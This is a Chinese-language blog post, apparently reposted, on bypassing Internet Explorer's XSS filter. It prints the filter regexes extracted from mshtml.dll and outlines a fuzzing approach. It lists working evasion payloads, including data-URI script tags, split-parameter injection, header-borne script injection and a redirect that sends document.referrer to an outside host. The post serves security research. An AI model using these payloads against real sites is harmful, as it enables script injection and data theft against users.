Bypass IE XSS Filter
0x00 背景
從IE8 beta2 開始,微軟加入了xss Filter。如同大部分安全產品一樣,防護的對策就是利用規則去過濾攻擊程式碼,基於可用和效率的考慮,同時加入黑白名單策略(即同源策略)。
經過幾代的更新和大量hack愛好者的測試(微軟喜歡招攬一些幫助尋找漏洞的人才),到IE9已經有了比較好的提升。下面主要針對IE9和IE10.
0x01 找根源
IE xss filter工作原理
其流程
這裡有很多環節可以bypass 例如驗證同源80sec發現的問題。
http://www.80sec.com/ie8-security-alert.html
先針對xss filter 的繞過進行展開。
不乏很多人的人品好,隨意組合便可bypass。以下針對像我這種人品一般的人,真正能遊刃有餘,就需要知道IE的xss Filter 的正則。
0x02 提取正則
這裡提供幾種方法尋找IE xss Filter的正則。(Ie 的xss filter regx 存在於系統核心 mshtml.dll模組中)。
查詢很簡單 可以使用notepad++ textfx 16進位制檢視。(搜尋‘sc{’)
或者使用 winhex(作者喜歡的工具) (搜尋‘sc{’)
不過這裡強烈建議大家熟悉下IDApro(原因:後面你研究webkit 或者andriod等其他應用時,IDApro是非常好用的利器)
這裡給出一個老外blog 的一條 console 命令 非常實用。
findstr /C:"sc{r}" \WINDOWS\SYSTEM32\mshtml.dll|find "{"
這裡得到 IE9 2013\2的xssfilter regx
{(v|(&[#()\[\].]x?0*((86)|(56)|(118)|(76));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(b|(&[#()\[\].]x?0*((66)|(42)|(98)|(62));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(s|(&[#()\[\].]x?0*((83)|(53)|(115)|(73));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(c|(&[#()\[\].]x?0*((67)|(43)|(99)|(63));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*{(r|(&[#()\[\].]x?0*((82)|(52)|(114)|(72));?))}([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(i|(&[#()\[\].]x?0*((73)|(49)|(105)|(69));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(p|(&[#()\[\].]x?0*((80)|(50)|(112)|(70));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(t|(&[#()\[\].]x?0*((84)|(54)|(116)|(74));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(:|(&[#()\[\].]x?0*((58)|(3A));?)).}
{(j|(&[#()\[\].]x?0*((74)|(4A)|(106)|(6A));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(a|(&[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(v|(&[#()\[\].]x?0*((86)|(56)|(118)|(76));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(a|(&[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(s|(&[#()\[\].]x?0*((83)|(53)|(115)|(73));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(c|(&[#()\[\].]x?0*((67)|(43)|(99)|(63));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*{(r|(&[#()\[\].]x?0*((82)|(52)|(114)|(72));?))}([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(i|(&[#()\[\].]x?0*((73)|(49)|(105)|(69));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(p|(&[#()\[\].]x?0*((80)|(50)|(112)|(70));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(t|(&[#()\[\].]x?0*((84)|(54)|(116)|(74));?))([\t]|(&[#()\[\].]x?0*(9|(13)|(10)|A|D);?))*(:|(&[#()\[\].]x?0*((58)|(3A));?)).}
{<st{y}le.*?>.*?((@[i\\])|(([:=]|(&[#()\[\].]x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\]|(&[#()\[\].]x?0*((40)|(28)|(92)|(5C));?))))}
{[ /+\t\"\'`]st{y}le[ /+\t]*?=.*?([:=]|(&[#()\[\].]x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\]|(&[#()\[\].]x?0*((40)|(28)|(92)|(5C));?))}
{<OB{J}ECT[ /+\t].*?((type)|(codetype)|(classid)|(code)|(data))[ /+\t]*=}
{<AP{P}LET[ /+\t].*?code[ /+\t]*=}
{[ /+\t\"\'`]data{s}rc[ +\t]*?=.}
{<BA{S}E[ /+\t].*?href[ /+\t]*=}
{<LI{N}K[ /+\t].*?href[ /+\t]*=}
{<ME{T}A[ /+\t].*?http-equiv[ /+\t]*=}
{<[?]?im{p}ort[ /+\t].*?implementation[ /+\t]*=}
{<EM{B}ED[ /+\t].*?((src)|(type)).*?=}
{[ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=.}
{<.*[:]vmlf{r}ame.*?[ /+\t]*?src[ /+\t]*=}
{<[i]?f{r}ame.*?[ /+\t]*?src[ /+\t]*=}
{<is{i}ndex[ /+\t>]}
{<fo{r}m.*?>}
{<sc{r}ipt.*?[ /+\t]*?src[ /+\t]*=}
{<sc{r}ipt.*?>}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).*?(((l|(\\u006C))(o|(\\u006F))({c}|(\\u00{6}3))(a|(\\u0061))(t|(\\u0074))(i|(\\u0069))(o|(\\u006F))(n|(\\u006E)))|((n|(\\u006E))(a|(\\u0061))({m}|(\\u00{6}D))(e|(\\u0065)))).*?=}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{[\[]}.*?{[\]]}.*?=}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{[.]}.+?=}
{[\"\'].*?{\)}[ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{\(}}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{\(}.*?{\)}}
IE10 2013\5 的regx
{<sc{r}ipt.*?>}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).*?(((l|(\\u006[Cc]))(o|(\\u006[Ff]))({c}|(\\u00{6}3))(a|(\\u0061))(t|(\\u0074))(i|(\\u0069))(o|(\\u006[Ff]))(n|(\\u006[Ee])))|((n|(\\u006[Ee]))(a|(\\u0061))({m}|(\\u00{6}[Dd]))(e|(\\u0065)))|((o|(\\u006[Ff]))(n|(\\u006[Ee]))({e}|(\\u00{6}5))(r|(\\u0072))(r|(\\u0072))(o|(\\u006[Ff]))(r|(\\u0072)))|((v|(\\u0076))(a|(\\u0061))({l}|(\\u00{6}[Cc]))(u|(\\u0075))(e|(\\u0065))(O|(\\u004[Ff]))(f|(\\u0066)))).*?=}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{[\[]}.*?{[\]]}.*?=}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{[.]}.+?=}
{[\"\'].*?{\)}[ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{\(}}
{[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?{\(}.*?{\)}}
{[\"\'].*?[{,].*(((v|(\\u0076)|(\\166)|(\\x76))[^a-z0-9]*({a}|(\\u00{6}1)|(\\1{4}1)|(\\x{6}1))[^a-z0-9]*(l|(\\u006C)|(\\154)|(\\x6C))[^a-z0-9]*(u|(\\u0075)|(\\165)|(\\x75))[^a-z0-9]*(e|(\\u0065)|(\\145)|(\\x65))[^a-z0-9]*(O|(\\u004F)|(\\117)|(\\x4F))[^a-z0-9]*(f|(\\u0066)|(\\146)|(\\x66)))|((t|(\\u0074)|(\\164)|(\\x74))[^a-z0-9]*({o}|(\\u00{6}F)|(\\1{5}7)|(\\x{6}F))[^a-z0-9]*(S|(\\u0053)|(\\123)|(\\x53))[^a-z0-9]*(t|(\\u0074)|(\\164)|(\\x74))[^a-z0-9]*(r|(\\u0072)|(\\162)|(\\x72))[^a-z0-9]*(i|(\\u0069)|(\\151)|(\\x69))[^a-z0-9]*(n|(\\u006E)|(\\156)|(\\x6E))[^a-z0-9]*(g|(\\u0067)|(\\147)|(\\x67)))).*?:}
{<AP{P}LET[ /+\t>]}
{<OB{J}ECT[ /+\t].*?((type)|(codetype)|(classid)|(code)|(data))[ /+\t]*=}
{<BA{S}E[ /+\t].*?href[ /+\t]*=}
{[ /+\t\"\'`]data{s}rc[ +\t]*?=.}
{<LI{N}K[ /+\t].*?href[ /+\t]*=}
{<[?]?im{p}ort[ /+\t].*?implementation[ /+\t]*=}
{<ME{T}A[ /+\t].*?http-equiv[ /+\t]*=}
{[ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=.}
{<EM{B}ED[ /+\t].*?((src)|(type)).*?=}
{<.*[:]vmlf{r}ame.*?[ /+\t]*?src[ /+\t]*=}
{<is{i}ndex[ /+\t>]}
{<[i]?f{r}ame.*?[ /+\t]*?src[ /+\t]*=}
{<sc{r}ipt.*?[ /+\t]*?src[ /+\t]*=}
{<fo{r}m.*?>}
{(v|(&#x?0*((86)|(56)|(118)|(76));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(b|(&#x?0*((66)|(42)|(98)|(62));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&#x?0*((83)|(53)|(115)|(73));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(c|(&#x?0*((67)|(43)|(99)|(63));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(r|(&#x?0*((82)|(52)|(114)|(72));?))}([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&#x?0*((73)|(49)|(105)|(69));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&#x?0*((80)|(50)|(112)|(70));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&#x?0*((84)|(54)|(116)|(74));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(:|(&((#x?0*((58)|(3A));?)|(colon;)))).}
{(j|(&#x?0*((74)|(4A)|(106)|(6A));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&#x?0*((65)|(41)|(97)|(61));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(v|(&#x?0*((86)|(56)|(118)|(76));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&#x?0*((65)|(41)|(97)|(61));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&#x?0*((83)|(53)|(115)|(73));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(c|(&#x?0*((67)|(43)|(99)|(63));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(r|(&#x?0*((82)|(52)|(114)|(72));?))}([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&#x?0*((73)|(49)|(105)|(69));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&#x?0*((80)|(50)|(112)|(70));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&#x?0*((84)|(54)|(116)|(74));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(:|(&((#x?0*((58)|(3A));?)|(colon;)))).}
{<st{y}le.*?>.*?((@[i\\])|(([:=]|(&#x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\]|(&#x?0*((40)|(28)|(92)|(5C));?))))}
{[ /+\t\"\'`]st{y}le[ /+\t]*?=.*?([:=]|(&#x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\]|(&#x?0*((40)|(28)|(92)|(5C));?))}
觀察下IE9到IE10的變化 ,可以看出IE10比IE9又更新了不少正則。
可見IE正則是ATL系列。Webkit 用JSCRE(基於pcre)。Chrome 早期也用jscre,09年以後採用Irregexp。
透過正則可以測試出一些bypass.
以IE9 為例:
Regx1= \[\"\'\]\[ \]*(([^a-z0-9~_:\'\" ])|(in)).*?(location).*?=
(老正則)
Bypass : "+{valueOf:location, toString: [].join,0:'jav\x61script:alert\x280)',length:1}// location("http://xss.me/");
又比如IE的復參繞過:
param1=<script>prompt(9);/*¶m2=*/</script>
最近繞過account.google.com的32位編碼繞過,地址:http://zone.wooyun.org/content/4448。
有意思的是:感覺上 日本人喜歡用unicode 的編碼 上次見過有用 ᴮᴵᴳᴮᴵᴿᴰ (\u1d2e\u1d35\u1d33\u1d2e\u1d35\u1d3f\u1d30)重置BIGBIRD 使用者密碼的。
美國人喜歡用類似這種變形
<script/src="data:text/javascript,o={window:'/XSS/'};prompt(o['window']);"></script>
老毛子喜歡用各種特殊字元(以上個人見解)。
0x03 進行Fuzz
簡單的瀏覽觀察,並不能高效的進行bypass.
轉化為指令碼
這裡當我把python改完,突然意識到python的正則是pcre的!還好webkit的filter是基於pcre的(下次內容寫webkit)。
微軟向來用自己家東西,用C++寫了個fuzz 程式進行fuzz測試。
用法。IEfilter.txt 是IE的正則。Bypasstest.txt是繞過語句,result和console介面程式會儲存輸出結果。
downloadlink:http://pan.baidu.com/share/link?shareid=1243023532&uk=1259968226
Bypastest 內容可以自己生成。如果以前玩過spike的同學可以直接借用之前的payload和方法.
這裡提供以下生成payload思路:
1.特殊字元 [0x09,0x0A-0x0D,0x20,0xA0]
2.不同編碼 xc2xb4xe2x80x99xe2x80 甚至畸形編碼ф1й2у3ц4
3.生僻函式
4.邊界變數
剩下的大家自己動手研究。
0x04 一些分享
歡迎和我溝通或者寫文章(升,升,升!)
來自國外的一些tip.(多關注國外技術blog 或者論壇)
Tip1: var url = "htpp://xss.cx/default.aspx?xss="+encodeURIComponent(document.referrer)"; if (window!=top) {top.location.href = url;} else document.location= url;
Tip2: <script/src="data:text/javascript,o={window:'/XSS/'};prompt(o['window']);"></script>
Tip3: <body/onload="@set @evil=1; @if(@evil)eval(confirm(@evil))@end;">
Tip4: "><script>alert(document.location)</script> (webkit)
Tip5: "-prompt(document.location)-" (webkit)
Tip6: Referer: http://www.google.com/search?hl=en&q=xss"><script>prompt(9)</script> (webkit)
Tip7: User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)xss"><script>prompt(9)</script> (webkit) 短短研究過這個。
參考:
http://blogs.technet.com/b/srd/archive/2008/08/19/ie-8-xss-filter-architecture-implementation.aspx http://www.80sec.com
相關文章
- 一個 Chrome XSS Filter Bypass 的分析2020-08-19ChromeFilter
- XSS Attacks - Exploiting XSS Filter2020-08-19Filter
- fuzzing XSS filter2020-08-19Filter
- Bypass xss過濾的測試方法2020-08-19
- XSS Filter Evasion Cheat Sheet 中文版2020-08-19Filter
- xss-程式碼角度理解與繞過filter2021-06-05Filter
- Bypass WAF Cookbook2020-08-19
- Bypass Windows AppLocker2020-08-19WindowsAPP
- bugbountyhunter scope BARKER:第五滴血 儲存型 XSS Filter 繞過 報告2024-08-02Filter
- Powershell tricks::Bypass AV2020-08-19
- IPS BYPASS姿勢2020-08-19
- bypass disable_function2020-11-26Function
- bypass waf測試_rce2024-10-25
- 內網簡單bypass2020-11-30內網
- Use SCT to Bypass Application Whitelisting Protection2020-08-19APP
- Bypass McAfee Application Control——Code Execution2020-08-19APP
- JNDI注入和JNDI注入Bypass2021-06-08
- XSS————1、XSS測試平臺搭建2018-05-13
- XSS姿勢——檔案上傳XSS2020-08-19
- xss csrf2019-01-13
- 初探 XSS2018-05-15
- XSS(Pikachu)2024-05-03
- xss利用2020-07-18
- Short XSS2020-08-19
- XSS漏洞2024-06-23
- XSS注入2021-09-19
- WAF Bypass 介紹與實戰2023-02-16
- 【奇淫巧技】Bypass阿里雲注入2021-02-06阿里
- 一行程式碼解決各種IE相容問題,IE6,IE7,IE8,IE9,IE102019-02-16行程IE9IE10
- XSS學習筆記:XSS Game(xss.pwnfunction.com)1-11通關全解2020-10-09筆記GAMFunction
- 前端安全 - XSS2019-01-06前端
- xss基礎2019-04-02
- Web安全-XSS2018-11-27Web
- XSS和CSRF2019-05-06
- 富文字 XSS2024-06-26
- Bypass McAfee Application Control--Write&Read Protection2020-08-19APP
- JavaScript filter()2018-09-06JavaScriptFilter
- Logcat filter2024-09-26GCFilter